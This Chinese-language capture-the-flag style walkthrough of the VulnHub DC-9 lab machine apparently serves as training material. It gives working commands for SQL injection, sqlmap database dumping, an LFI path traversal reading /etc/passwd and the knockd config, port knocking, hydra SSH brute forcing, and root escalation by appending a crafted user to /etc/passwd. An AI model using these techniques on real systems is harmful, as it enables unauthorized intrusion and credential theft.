系列文章

vulnhub靶场实战系列（一）之vulnhub靶场介绍
vulnhub靶场实战系列（二）之 prime1

vulnhub靶场实战之 dc9

环境准备

主机发现

首先第一步就是进行信息收集，以便于下一步的操作

 nmap 192.168.41.1/24

发现了 192.168.41.11 主机存活且开放了22和80端口

既然发现了对方开放了80端口，那我们就从web服务入手吧，浏览器打开192.168.41.11

如图所示，对方的80端口提供的是这样的一个网页

面对这样的一个网页，我们应该怎样入手呢？我们先看看他的源码，然而并没有什么有价值的发现

我们通过目录扫描看看他网站的目录下面有哪些有用的目录或者是文件

 nikto -host 192.168.41.11

我们扫描到了一个config.php的配置文件，我们访问这个文件看看

发现这个文件存在，但我们好像并没有什么访问权限，所以显示一片空白

我们看看这个网站的功能，发现这个网站有登录和查询，那会不会存在sql 注入？

SQL注入获得用户

我们现在搜索框输入payload ，探测是否存在sql注入

 ' or 1=1--+

发现结果返回正常

我们在构造如下payload

 ' or 1=2--+

发现结果报错，说明存在sql注入漏洞

接下来就是利用sqlmap爆破了

sqlmap -u "http://192.168.41.11/results.php" --data="search=1" --dbs

这里我们成功探测到了三个库名，发现有个users库，接下来我们去探测这个库存在的表名

sqlmap -u "http://192.168.41.11/results.php" --data="search=1" -D users --tables

接下来就是去爆破这个表的数据了

sqlmap -u "http://192.168.41.11/results.php" --data="search=1" -D users -T UserDetails --dump

跑出来如上图所示的数据

我们发现这里有两个列，一个是username，一个是password，我们先将这两个列单独提取出来，方便后续的渗透使用

我们通过前期的信息收集发现这个靶机用到登录的地方一共只有两个，一个是ssh，还有一个就是web的登录

首先我们要获得登录位置的详细路径，我们观察响应的数据包发现

登录位置的详细路径为

http://192.168.41.11/manage.php?username=1&password=1

接下来我们利用fuzz去进行暴力破解

wfuzz -z file,username.txt -z file,password.txt -d "username=FUZZ&password=FUZ2Z" http://192.168.41.11/manage.php 

发现所有的返回结果长度都一样，也就是说没有正确的结果

我们再去爆破另外一个库试试

sqlmap -u "http://192.168.41.11/results.php" --data "search=1" -D Staff --tables

sqlmap -u "http://192.168.41.11/results.php" --data "search=1" -D Staff -T Users --dump

用自带的解密得到密码 transorbital1

我们去试试登录网站

登录成功

LFI读取etcpasswd

我们在页面观察到 File does not exist

那我们猜测这里会不会存在文件包含漏洞呢？我们去扫描他的参数试试

在使用fuzz爆破前，这里还有一个点要注意，因为我们要爆破的是登录后的页面，所以我们这里首先要获取他的cookie值，再进行爆破

wfuzz -c -b 'PHPSESSID=fko9dtc1m07ge1lkpo5sfgkpa7' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.11/manage.php?FUZZ

发现大部分跑出来的长度都在100W，那我们接下来就去过滤这100 W

wfuzz -c -b 'PHPSESSID=fko9dtc1m07ge1lkpo5sfgkpa7' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.11/manage.php?FUZZ

很不幸，同样没有结果

我们推测这里可能端口被限制（防火墙），或者用户被限制登录，又或者是运行了knockd服务导致了我们爆破结果出错

这里我们用上经验，构造语句试试看

wfuzz -c -b 'PHPSESSID=fko9dtc1m07ge1lkpo5sfgkpa7' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.11/manage.php?FUZZ=/../../../../../../etc/passwd

终于跑出来一个file的参数

我们构造语句去看看

http://192.168.41.11/manage.php?file=/../../../../../../etc/passwd

发现存在一个目录包含漏洞，我们这里仔细观察发现，这里爆出来的用户名和之前我们数据库跑出来的用户名字居然可以一一对应上，也就是说，我们跑出来的不是网站的用户，而是登录靶机ssh服务的用户，接下来我们就去爆破ssh服务

Hydra爆破SSH密码

 hydra -L username.txt -P password.txt 192.168.41.11 ssh

然后直接显示连接失败，我们回到最初的步骤查看22端口开放的结果

发现端口处于filtered过滤的状态，所以导致了我们ssh连接失败

我们这里补充一个知识Knockd端口敲门服务，由于篇幅有限，我这里就不多叙述了，大家可以去看这篇文章腾讯云主机上部署端口敲门Knock服务

简单来讲就是他会去定义一个文件，在里面去定义一个端口的序列，只有当你按顺序去访问这些端口后，正常的服务端口才会对你开放

那么问题就来了，我们又该怎么知道他到底定义了哪些端口呢？

那既然我们这里前面发现了一个文件包含漏洞，那我们是不是可以结合这个漏洞利用下去读取他的配置文件，一般来说Knockd端口敲门服务的默认配置路径为/etc/knockd.conf

那我们构造语句去试试看

http://192.168.41.11/manage.php?file=/../../../../../../etc/knockd.conf

成功发现了他配置的端口，接下来我们依次去访问这些端口

nmap -p 7469 192.168.41.11
nmap -p 8475 192.168.41.11
nmap -p 9842 192.168.41.11

这里发现22端口开放了，说明我们的推测成功了

这时我们在去爆破22端口

hydra -L username.txt -P password.txt 192.168.41.11 ssh

跑出来三个正确的用户名和密码，我们把他们记录下来

那既然我们得到了ssh服务的密码，接下来我们就去登录靶机试试看

ssh janitor@192.168.41.11 Ilovepeepee

查看用户文件

 ls -a

我们获得了一个普通用户的权限，接下来就是提权了

我们通过查看文件在janitor用户主目录中发现敏感文件

cd .secrets-for-putin

cat passwords-found-on-post-it-notes.txt

里面有六个密码字典

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

我们将其加入密码字典继续爆破

hydra -L username.txt -P password.txt 192.168.41.11 ssh

又发现了一个可以登录的用户

ssh fredf@192.168.41.11 B4-Tru3-001

查看root权限

sudo -l

发现可以无密码root身份运行test脚本

接下来就是提权了

添加etcpasswd用户提权

首先我们查看文件属性

file /opt/devstuff/dist/test/test

执行这个文件，看看他可以干些什么

cd /opt/devstuff/dist/test
./test

我们去查找这个文件的源代码

find / -name "test.py" 2>/dev/null

然后去查看这个文件的源代码

cat /opt/devstuff/test.py

一通分析发现，这个代码作用是把第一个文件的输入，追加到第二个文件中

我们生成密码

openssl passwd -1 -salt admin 123456-1 的意思是使用md5加密算法-salt 自动插入一个随机数作为文件内容加密admin 123456 用户名和密码

接下来写入账户密码到临时文件

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

cd /opt/devstuff/dist/test/

追加root权限的用户

sudo ./test /tmp/passwd /etc/passwd

然后切换用户登录

 su admin

输入密码123456

whoami

cd /root

ls -a

cat theflag.txt

成功得到靶机的Flag